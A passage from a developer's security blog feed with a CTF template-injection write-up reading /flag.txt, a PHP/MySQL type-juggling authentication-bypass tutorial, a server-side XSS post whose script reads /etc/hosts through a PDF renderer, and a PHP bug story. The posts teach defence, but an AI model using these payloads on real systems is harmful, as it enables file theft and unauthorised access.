	<span class="n">reqData</span> <span class="o">:=</span> <span class="o">&amp;</span><span class="n">RequestData</span><span class="p">{}</span>

	<span class="n">userIPCookie</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">r</span><span class="o">.</span><span class="n">Cookie</span><span class="p">(</span><span class="s">"user_ip"</span><span class="p">)</span>
	<span class="n">clientIP</span> <span class="o">:=</span> <span class="s">""</span>

	<span class="k">if</span> <span class="n">err</span> <span class="o">==</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">clientIP</span> <span class="o">=</span> <span class="n">userIPCookie</span><span class="o">.</span><span class="n">Value</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="n">clientIP</span> <span class="o">=</span> <span class="n">strings</span><span class="o">.</span><span class="n">Split</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">RemoteAddr</span><span class="p">,</span> <span class="s">":"</span><span class="p">)[</span><span class="m">0</span><span class="p">]</span>
	<span class="p">}</span>

	<span class="n">userAgent</span> <span class="o">:=</span> <span class="n">r</span><span class="o">.</span><span class="n">Header</span><span class="o">.</span><span class="n">Get</span><span class="p">(</span><span class="s">"User-Agent"</span><span class="p">)</span>

	<span class="n">locationInfo</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">reqData</span><span class="o">.</span><span class="n">GetLocationInfo</span><span class="p">(</span><span class="s">"https://freeipapi.com/api/json/"</span> <span class="o">+</span> <span class="n">clientIP</span><span class="p">)</span>

	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Could not fetch IP location info"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>

	<span class="n">reqData</span><span class="o">.</span><span class="n">ClientIP</span> <span class="o">=</span> <span class="n">clientIP</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ClientUA</span> <span class="o">=</span> <span class="n">userAgent</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ClientIpInfo</span> <span class="o">=</span> <span class="o">*</span><span class="n">locationInfo</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ServerInfo</span><span class="o">.</span><span class="n">Hostname</span> <span class="o">=</span> <span class="n">GetServerInfo</span><span class="p">(</span><span class="s">"hostname"</span><span class="p">)</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ServerInfo</span><span class="o">.</span><span class="n">OS</span> <span class="o">=</span> <span class="n">GetServerInfo</span><span class="p">(</span><span class="s">"cat /etc/os-release | grep PRETTY_NAME | cut -d '</span><span class="se">\"</span><span class="s">' -f 2"</span><span class="p">)</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ServerInfo</span><span class="o">.</span><span class="n">KernelVersion</span> <span class="o">=</span> <span class="n">GetServerInfo</span><span class="p">(</span><span class="s">"uname -r"</span><span class="p">)</span>
	<span class="n">reqData</span><span class="o">.</span><span class="n">ServerInfo</span><span class="o">.</span><span class="n">Memory</span> <span class="o">=</span> <span class="n">GetServerInfo</span><span class="p">(</span><span class="s">"free -h | awk '/^Mem/{print $2}'"</span><span class="p">)</span>

	<span class="k">var</span> <span class="n">tmplFile</span> <span class="kt">string</span>

	<span class="k">if</span> <span class="n">remote</span> <span class="o">==</span> <span class="s">"true"</span> <span class="p">{</span>
		<span class="n">tmplFile</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">readRemoteFile</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>

		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Internal Server Error"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">)</span>
			<span class="k">return</span>
		<span class="p">}</span>
	<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
		<span class="k">if</span> <span class="o">!</span><span class="n">reqData</span><span class="o">.</span><span class="n">IsSubdirectory</span><span class="p">(</span><span class="s">"./"</span><span class="p">,</span> <span class="n">TEMPLATE_DIR</span><span class="o">+</span><span class="s">"/"</span><span class="o">+</span><span class="n">page</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Internal Server Error"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">)</span>
			<span class="k">return</span>
		<span class="p">}</span>

		<span class="n">tmplFile</span> <span class="o">=</span> <span class="n">reqData</span><span class="o">.</span><span class="n">OutFileContents</span><span class="p">(</span><span class="n">TEMPLATE_DIR</span> <span class="o">+</span> <span class="s">"/"</span> <span class="o">+</span> <span class="n">page</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">tmpl</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">template</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"page"</span><span class="p">)</span><span class="o">.</span><span class="n">Parse</span><span class="p">(</span><span class="n">tmplFile</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Internal Server Error"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>

	<span class="n">err</span> <span class="o">=</span> <span class="n">tmpl</span><span class="o">.</span><span class="n">Execute</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="n">reqData</span><span class="p">)</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">http</span><span class="o">.</span><span class="n">Error</span><span class="p">(</span><span class="n">w</span><span class="p">,</span> <span class="s">"Internal Server Error"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StatusInternalServerError</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">mux</span> <span class="o">:=</span> <span class="n">http</span><span class="o">.</span><span class="n">NewServeMux</span><span class="p">()</span>

	<span class="n">mux</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">getIndex</span><span class="p">)</span>
	<span class="n">mux</span><span class="o">.</span><span class="n">HandleFunc</span><span class="p">(</span><span class="s">"/view"</span><span class="p">,</span> <span class="n">getTpl</span><span class="p">)</span>
	<span class="n">mux</span><span class="o">.</span><span class="n">Handle</span><span class="p">(</span><span class="s">"/static/"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">StripPrefix</span><span class="p">(</span><span class="s">"/static/"</span><span class="p">,</span> <span class="n">http</span><span class="o">.</span><span class="n">FileServer</span><span class="p">(</span><span class="n">http</span><span class="o">.</span><span class="n">Dir</span><span class="p">(</span><span class="s">"static"</span><span class="p">))))</span>

	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Server started at port "</span> <span class="o">+</span> <span class="n">WEB_PORT</span><span class="p">)</span>
	<span class="n">http</span><span class="o">.</span><span class="n">ListenAndServe</span><span class="p">(</span><span class="s">":"</span><span class="o">+</span><span class="n">WEB_PORT</span><span class="p">,</span> <span class="n">mux</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Just like the other web challenge the flag was in a file inside the root of the container.</p>

<p>Basically the app exposes three things:</p>
<ul>
  <li>The index route which just redirects to the view route.</li>
  <li>The view route which populates the RequestData struct and renders a template using it as data.</li>
  <li>The static route which is used to serve static content to the app.</li>
</ul>

<p>The interesting route here is the view one, it has a bunch of interesting stuff, first of all the template is user supplied data, you can either specify a local template that’s already in the app, or give it a url so it can download a template to render.</p>

<p>The first thing that called my attention was the <code class="language-plaintext highlighter-rouge">IsSubdirectory</code> function, my first thought was that if I could bypass the traversal protections there we could simply get the app the render the flag.txt file as a template and we’d see the flag. I had no luck bypassing it though so I decided to change my strategy.</p>

<p>After reading a bit about golang html/templates I learned that if you send a struct to the template context inside the template you get access to all the functions for that struct. If you look at the <code class="language-plaintext highlighter-rouge">RequestData</code> functions you’ll see that <code class="language-plaintext highlighter-rouge">OutFileContents</code> is one of them, this function will accept a single parameter containing a file path and will return the contents of the file, exactly what we need, how convenient!</p>

<p>To exploit it we simply need to host somewhere a template that looks like this:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span> 
<span class="nt">&lt;div&gt;</span>
{{ .OutFileContents "/flag.txt" }}
<span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>I used pastebin to upload the template and using it’s url I got the flag.</p>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[Hack The Boo]]></summary></entry><entry><title type="html">Type Juggling and MySQL: A Dangerous Combination</title><link href="http://www.miguelxpn.com/security/2020/03/15/Type-Juggling-And-MySQL.html" rel="alternate" type="text/html" title="Type Juggling and MySQL: A Dangerous Combination" /><published>2020-03-15T21:08:32+00:00</published><updated>2020-03-15T21:08:32+00:00</updated><id>http://www.miguelxpn.com/security/2020/03/15/Type-Juggling-And-MySQL</id><content type="html" xml:base="http://www.miguelxpn.com/security/2020/03/15/Type-Juggling-And-MySQL.html"><![CDATA[<p>Type juggling is when you trick the application into processing something as a different type than intended by the programmers. This is usually a problem on languages with dynamic typing. Those languages usually have some sort of type coercion in place and if you try to compare two variables of different types one of them will usually be implicitly converted to the other type and then the comparison will be done.</p>

<p>For example, that allows the comparison <code class="language-plaintext highlighter-rouge">1 == "1"</code> in PHP to evaluate to true. That can however be exploited in malicious ways.</p>

<p>Let’s make a PHP script that’s vulnerable to better understand the problem:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$server_secret</span> <span class="o">=</span> <span class="s2">"verysecretstring"</span><span class="p">;</span>

<span class="nv">$params</span> <span class="o">=</span> <span class="nb">json_decode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'params'</span><span class="p">],</span> <span class="kc">true</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="nv">$params</span><span class="p">[</span><span class="s1">'secret'</span><span class="p">]</span> <span class="o">!=</span> <span class="nv">$server_secret</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">echo</span> <span class="s2">"Wrong secret"</span><span class="p">;</span>
        <span class="k">exit</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">echo</span> <span class="s2">"Correct secret"</span><span class="p">;</span>
</code></pre></div></div>

<p>In this script the <code class="language-plaintext highlighter-rouge">$params</code> variable receives a deserialized json string, then we check the value of the <code class="language-plaintext highlighter-rouge">secret</code> parameter against the server secret, if it’s the same string then the rest of the request is processed, if not we return an error.</p>

<p>Normally an user will send the secret as a string inside the json, and that will work as intended, but what happens if we change the type to something else? How will the server deal with this? Let’s try it out and see what happens:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"secret"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>If we try that we’ll get <code class="language-plaintext highlighter-rouge">Correct secret</code> as the output.</p>

<p>This happens because in PHP  <code class="language-plaintext highlighter-rouge">(boolean)"anystring"</code> evaluates as true. Before doing the comparison the string is casted to boolean so it ends up as <code class="language-plaintext highlighter-rouge">true == true</code> which is a truthy statement. So in this case you can use type juggling to bypass the authentication. One way to avoid this is to use the === and !== operators for comparisons, this will check the type as well as the value and no implicit casting will be done. If we change the operator in our test script and send the same json that allowed the type juggle before we’ll get <code class="language-plaintext highlighter-rouge">Wrong secret</code> as the output.</p>

<p>One thing most people don’t realize is that you can exploit this down the stack as well. Let’s create a table in MySQL called users, this table has an api_token column which is a varchar column:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">Users</span> <span class="p">(</span>
<span class="n">id</span> <span class="nb">int</span> <span class="nb">UNSIGNED</span> <span class="n">AUTO_INCREMENT</span> <span class="k">PRIMARY</span> <span class="k">KEY</span><span class="p">,</span>
<span class="n">api_token</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
<span class="k">index</span><span class="p">(</span><span class="n">api_token</span><span class="p">)</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The api_token column is used to authenticate an user, every time someone makes a request we send the user supplied token to the application which then queries the database and authenticates the user if there is a match.</p>

<p>Let’s insert an user:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">Users</span> <span class="p">(</span><span class="n">api_token</span><span class="p">)</span> <span class="k">VALUES</span> <span class="p">(</span><span class="s1">'5d458fc4641360a8b46b2226507252'</span><span class="p">);</span>
</code></pre></div></div>

<p>What happens if we query this table passing something that’s not a string to compare to api_token?</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">Users</span> <span class="k">where</span> <span class="n">api_token</span> <span class="o">=</span> <span class="mi">5</span>
</code></pre></div></div>

<p>This will yield the following result:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----+--------------------------------+
| id | api_token                      |
+----+--------------------------------+
|  1 | 5d458fc4641360a8b46b2226507252 |
+----+--------------------------------+
1 row in set, 1 warning (0.00 sec)
</code></pre></div></div>

<p>This happens because the api_token column ends up being casted to integer, this cast will end up resulting in a numeric 5 because this string starts with an 5:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="k">CAST</span><span class="p">(</span><span class="nv">"5d458fc4641360a8b46b2226507252"</span> <span class="k">AS</span> <span class="nb">int</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------------------------------+
| CAST("5d458fc4641360a8b46b2226507252" AS SIGNED) |
+--------------------------------------------------+
|                                                5 |
+--------------------------------------------------+
</code></pre></div></div>

<p>This is why you should always double check your application when you do serialization of user input. Even if your application is not exploitable to type juggling issues something down your stack such as the database may be exploitable and the damage could be significant, in this example an unauthorized user could end up authenticating as a user without knowing the api_token.</p>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[Type juggling is when you trick the application into processing something as a different type than intended by the programmers. This is usually a problem on languages with dynamic typing. Those languages usually have some sort of type coercion in place and if you try to compare two variables of different types one of them will usually be implicitly converted to the other type and then the comparison will be done.]]></summary></entry><entry><title type="html">Server side XSS</title><link href="http://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html" rel="alternate" type="text/html" title="Server side XSS" /><published>2020-03-08T00:08:32+00:00</published><updated>2020-03-08T00:08:32+00:00</updated><id>http://www.miguelxpn.com/security/2020/03/08/Server-side-XSS</id><content type="html" xml:base="http://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html"><![CDATA[<p>XSS stands for <code class="language-plaintext highlighter-rouge">Cross Site Scripting</code>, it’s basically when input is not properly sanitized somewhere and a malicious actor can inject unintended javascript somewhere. That javascript will be executed by some unsuspecting user’s browser and then bad stuff can happen.</p>

<p>There are two main types of XSS exploits, <code class="language-plaintext highlighter-rouge">reflected</code> and <code class="language-plaintext highlighter-rouge">persisted</code>. <code class="language-plaintext highlighter-rouge">Persisted</code> ones are when the malicious script is saved into a database somewhere and the malicious payload is injected every time the page is open. A practical example would be a discussion forum where the post text is not sanitized, if someone injects javascript by using the text from a post everytime someone opened that thread the payload would execute in the browser of whoever opened it.</p>

<p>The <code class="language-plaintext highlighter-rouge">reflected</code> kind occurs when the application received data from the HTTP request and immediately sends that data in the response in an unsafe way. This type of XSS is usually exploited by creating a phishing link that will send the user to the actual legit site but with the malicious payload encoded in the link.</p>

<p>People tend to underestimate the impact of reflected XSS exploits. But what if I told you that in some instances it’s possible to expose sensitive data from the server by using a reflected XSS exploit? Let’s create a vulnerable application using Ruby on Rails and let’s attack it!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rails new xss-serverside
</code></pre></div></div>

<p>This will create a new rails app. Now we need a controller that will accept a query string parameter and output it into the response HTML without sanitizing it.</p>

<p>Let’s create a new controller:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rails generate controller name
</code></pre></div></div>

<p>Now let’s edit the newly created NameController to accept a parameter from the query string:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">NameController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
  <span class="k">def</span> <span class="nf">show</span>
    <span class="vi">@name</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Let’s create a view that will output that parameter unsafely allowing for an reflective XSS, we can do this by creating the <code class="language-plaintext highlighter-rouge">views/name/show.erb</code> file and output the variable using the raw method which will output it without any sanitization:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;h1&gt;Hello!&lt;/h1&gt;
&lt;p&gt;&lt;%= raw @name %&gt;&lt;/p&gt;
</code></pre></div></div>

<p>We also need to create a route that will call the show method for the NameController, we do this by adding the following line to our <code class="language-plaintext highlighter-rouge">routes.rb</code> file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>get 'name', action: :show, controller: 'name'
</code></pre></div></div>

<p>If we run the application now and access the newly created route we can pass anything in the <code class="language-plaintext highlighter-rouge">name</code> query string parameter and see it reflected in the html:</p>

<p><img src="/assets/server-side-xss/print1.png" alt="XSS1" /></p>

<p>If we pass javascript such as <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert('Hello XSS!');&lt;/script&gt;</code> (If you’re actually following this guide from home don’t forget that you need to url encode the script before passing it in the name parameter) we’ll get a nice alert showing us that we can inject javascript in the page and get it executed:</p>

<p><img src="/assets/server-side-xss/print2.png" alt="XSS2" /></p>

<p>Some web apps have features where they will generate PDFs or pictures out of some of their pages. This is usually done for reports or things like that. Usually that works by inputting the generated html to some sort of headless browser which will then output the PDF that is downloaded by the final user. As the headless browser in this scenario usually runs in the server the javascript will run on the server, and that could have catastrophic results.</p>

<p>Let’s add that to our vulnerable app so I can demonstrate, first let’s add the following gem to our Gemfile:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gem 'wicked_pdf'
</code></pre></div></div>

<p>This gem works by using <code class="language-plaintext highlighter-rouge">wkhtmltopdf</code> to generate the pdf. This tool basically runs a headless webkit and outputs the pdf based on the input html.</p>

<p>We need to run the following generator to create the gem initializer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rails generate wicked_pdf
</code></pre></div></div>

<p>Now we need to change our controller to use the gem:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">NameController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
  <span class="k">def</span> <span class="nf">show</span>
    <span class="vi">@name</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="ss">:name</span><span class="p">]</span>

    <span class="n">respond_to</span> <span class="k">do</span> <span class="o">|</span><span class="nb">format</span><span class="o">|</span>
      <span class="nb">format</span><span class="p">.</span><span class="nf">html</span>
      <span class="nb">format</span><span class="p">.</span><span class="nf">pdf</span> <span class="k">do</span>
        <span class="n">render</span> <span class="ss">pdf: </span><span class="s2">"name"</span>
      <span class="k">end</span>
    <span class="k">end</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Now if we append .pdf to our url before the query string the result will be a PDF generated from the view’s html:</p>

<p><img src="/assets/server-side-xss/print3.png" alt="XSS3" /></p>

<p>This is where the fun begins, now if we use our XSS to inject javascript to the html and request it to be converted to PDF that javascript will be executed server-side, let’s try fetching a file from the filesystem by injecting the following javascript:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
<span class="nx">x</span><span class="o">=</span><span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">;</span>
<span class="nx">x</span><span class="p">.</span><span class="nx">onload</span><span class="o">=</span><span class="kd">function</span><span class="p">(){</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">)</span>
<span class="p">};</span>
<span class="nx">x</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">file:///etc/hosts</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">x</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>

<p>If we open it by requesting the PDF output we’ll get a PDF with the contents of the file:</p>

<p><img src="/assets/server-side-xss/print4.png" alt="XSS4" /></p>

<p>This can be used by an attacker to get logs, code, maybe credentials and other juicy stuff. This could probably be used for <code class="language-plaintext highlighter-rouge">server side request forgeries</code> as well.</p>

<p>That’s why you should never underestimate any sort of XSS vulnerabilities in your system.  If your application does any sort of rendering server side by using a headless browser you’re way more vulnerable than you think.</p>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[XSS stands for Cross Site Scripting, it’s basically when input is not properly sanitized somewhere and a malicious actor can inject unintended javascript somewhere. That javascript will be executed by some unsuspecting user’s browser and then bad stuff can happen.]]></summary></entry><entry><title type="html">Hello world!</title><link href="http://www.miguelxpn.com/update/2020/03/01/hello-world.html" rel="alternate" type="text/html" title="Hello world!" /><published>2020-03-01T05:06:14+00:00</published><updated>2020-03-01T05:06:14+00:00</updated><id>http://www.miguelxpn.com/update/2020/03/01/hello-world</id><content type="html" xml:base="http://www.miguelxpn.com/update/2020/03/01/hello-world.html"><![CDATA[<p>Hello! I’m Miguel, a 29 year old developer from Curitiba in Brazil. I’m very passionate about coding and technology in general and I’ll use this blog to post cool things about stuff I’m working on.</p>]]></content><author><name></name></author><category term="update" /><summary type="html"><![CDATA[Hello! I’m Miguel, a 29 year old developer from Curitiba in Brazil. I’m very passionate about coding and technology in general and I’ll use this blog to post cool things about stuff I’m working on.]]></summary></entry><entry><title type="html">How I found and fixed a bug in PHP’s standard library</title><link href="http://www.miguelxpn.com/coding/php/opensource/2020/03/01/how-i-found-and-fixed-a-bug-in-php-std-lib.html" rel="alternate" type="text/html" title="How I found and fixed a bug in PHP’s standard library" /><published>2020-03-01T05:06:14+00:00</published><updated>2020-03-01T05:06:14+00:00</updated><id>http://www.miguelxpn.com/coding/php/opensource/2020/03/01/how-i-found-and-fixed-a-bug-in-php-std-lib</id><content type="html" xml:base="http://www.miguelxpn.com/coding/php/opensource/2020/03/01/how-i-found-and-fixed-a-bug-in-php-std-lib.html"><![CDATA[<p>I’ve been a software developer at EBANX since 2016. There we have a mechanism called <code class="language-plaintext highlighter-rouge">Release Candidate</code>. Every time we deploy something new to our monolith PHP system we end up deploying it first to the release candidate server. Then we elect a few random requests and proxy it from our live normal servers to the release candidate server, if those requests go well with no errors then the deploy occurs in the normal API servers, if an error occurs the proxying mechanism is disabled and the responsible for the code can better debug the problem in the release candidate server and rollback the code if needed.</p>

<p>I was deploying some code once and I noticed something weird in the logs. Some requests had two Host headers once they arrived in the release candidate server. Normally we simply copy the headers that came from the original request, so the request should arrive in the release candidate with the host header containing the url of the original server. In the cases where two Hosts were present the top one was the url of the release candidate server and the second one was the original one containing the original api server. This puzzled me, the code I was modifying had nothing to do with the proxying mechanism, and after looking at older logs I found out that this always occurred a few times. Since this mechanism is critical to the safety of our deploys I dropped everything and started to investigate.</p>

<p>Naturally I assumed that the bug was somewhere in our proxying code, after digging for a while I couldn’t find anything wrong with the code. This is the function we use to rewrite the Header of the request to the release candidate with the original host:</p>

<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">private</span> <span class="k">static</span> <span class="k">function</span> <span class="n">adjustRequestTarget</span><span class="p">(</span><span class="kt">RequestInterface</span> <span class="nv">$request</span><span class="p">):</span> <span class="kt">RequestInterface</span> <span class="p">{</span>
  <span class="nv">$original_host</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">getHeaderLine</span><span class="p">(</span><span class="s1">'Host'</span><span class="p">);</span>
  <span class="nv">$new_uri</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">getUri</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">withHost</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nf">getReleaseCandidateInstanceHost</span><span class="p">());</span>
  <span class="k">return</span> <span class="nv">$request</span>
    <span class="o">-&gt;</span><span class="nf">withUri</span><span class="p">(</span><span class="nv">$new_uri</span><span class="p">)</span>
    <span class="o">-&gt;</span><span class="nf">withHeader</span><span class="p">(</span><span class="s1">'Host'</span><span class="p">,</span> <span class="nv">$original_host</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>

<p>We are using Guzzle as the http client. Internally the headers are represented as an array inside the class GuzzleHttp\Psr7\Request. I noticed that when calling the withHeader function the Host header is shifted to the end of array, but regardless of this detail I couldn’t reproduce the issue when testing locally with the exact same requests that caused the problem in production.</p>

<p>I ended up noticing something pretty interesting. The <code class="language-plaintext highlighter-rouge">stream</code> option being passed during the request was different on my tests than the production code, this made guzzle use a different http handler, with <code class="language-plaintext highlighter-rouge">stream</code> set as true it uses the PHP stream handler, with it set as <code class="language-plaintext highlighter-rouge">false</code> it uses cURL, I was testing it with false, changing it to true made me able to reproduce the issue when replaying a request that caused the problem in production, now I just needed to drill down enough in the code that was called to determine what was causing the problem.</p>

<p>After cloning the PHP source and reading for a while I finally found the culprit, the problem is caused by a combination of the change of header array order that the previously referenced <code class="language-plaintext highlighter-rouge">adjustRequestTarget</code> function causes, and the way the http fopen wrapper handles the http headers.</p>

<p>Inside the http_fopen_wrapper.c code we have these two interesting snippets:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">((</span><span class="n">s</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="s">"host:"</span><span class="p">))</span> <span class="o">&amp;&amp;</span>
                <span class="p">(</span><span class="n">s</span> <span class="o">==</span> <span class="n">t</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\r'</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\n'</span> <span class="o">||</span>
                             <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">'\t'</span> <span class="o">||</span> <span class="o">*</span><span class="p">(</span><span class="n">s</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">))</span> <span class="p">{</span>
                 <span class="n">have_header</span> <span class="o">|=</span> <span class="n">HTTP_HEADER_HOST</span><span class="p">;</span>
            <span class="p">}</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Send Host: header so name-based virtual hosts work */</span>
<span class="k">if</span> <span class="p">((</span><span class="n">have_header</span> <span class="o">&amp;</span> <span class="n">HTTP_HEADER_HOST</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">smart_str_appends</span><span class="p">(</span><span class="o">&amp;</span><span class="n">req_buf</span><span class="p">,</span> <span class="s">"Host: "</span><span class="p">);</span>
    <span class="n">smart_str_appends</span><span class="p">(</span><span class="o">&amp;</span><span class="n">req_buf</span><span class="p">,</span> <span class="n">ZSTR_VAL</span><span class="p">(</span><span class="n">resource</span><span class="o">-&gt;</span><span class="n">host</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">use_ssl</span> <span class="o">&amp;&amp;</span> <span class="n">resource</span><span class="o">-&gt;</span><span class="n">port</span> <span class="o">!=</span> <span class="mi">443</span> <span class="o">&amp;&amp;</span> <span class="n">resource</span><span class="o">-&gt;</span><span class="n">port</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span>
